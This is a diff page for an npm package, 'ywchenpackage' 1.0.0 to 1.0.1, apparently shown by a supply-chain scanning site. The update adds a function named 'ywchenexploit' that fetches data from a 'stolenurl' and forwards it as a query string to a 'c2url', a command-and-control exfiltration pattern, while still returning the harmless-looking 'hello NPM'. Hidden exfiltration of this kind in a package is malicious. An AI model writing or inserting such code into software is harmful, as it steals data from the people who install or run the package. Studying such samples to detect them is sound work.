ywchenpackage 1.0.0 → 1.0.1
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +13 -2
- package/package.json +1 -1
package/index.js
CHANGED
@@ -1,5 +1,16 @@
|
|
1
|
-
function
|
1
|
+
function ywchenexploit() {
|
2
|
+
let stolenurl = document.stolenurl.value;
|
3
|
+
let c2url = document.c2url.value;
|
4
|
+
fetch(stolenurl)
|
5
|
+
.then(
|
6
|
+
function(response){
|
7
|
+
return response.json();
|
8
|
+
}
|
9
|
+
).then(
|
10
|
+
function(response){
|
11
|
+
fetch(c2url + "?data=" + JSON.stringify(response[0]));
|
12
|
+
})
|
2
13
|
return "hello NPM"
|
3
14
|
}
|
4
15
|
|
5
|
-
module.exports =
|
16
|
+
module.exports = ywchenexploit
|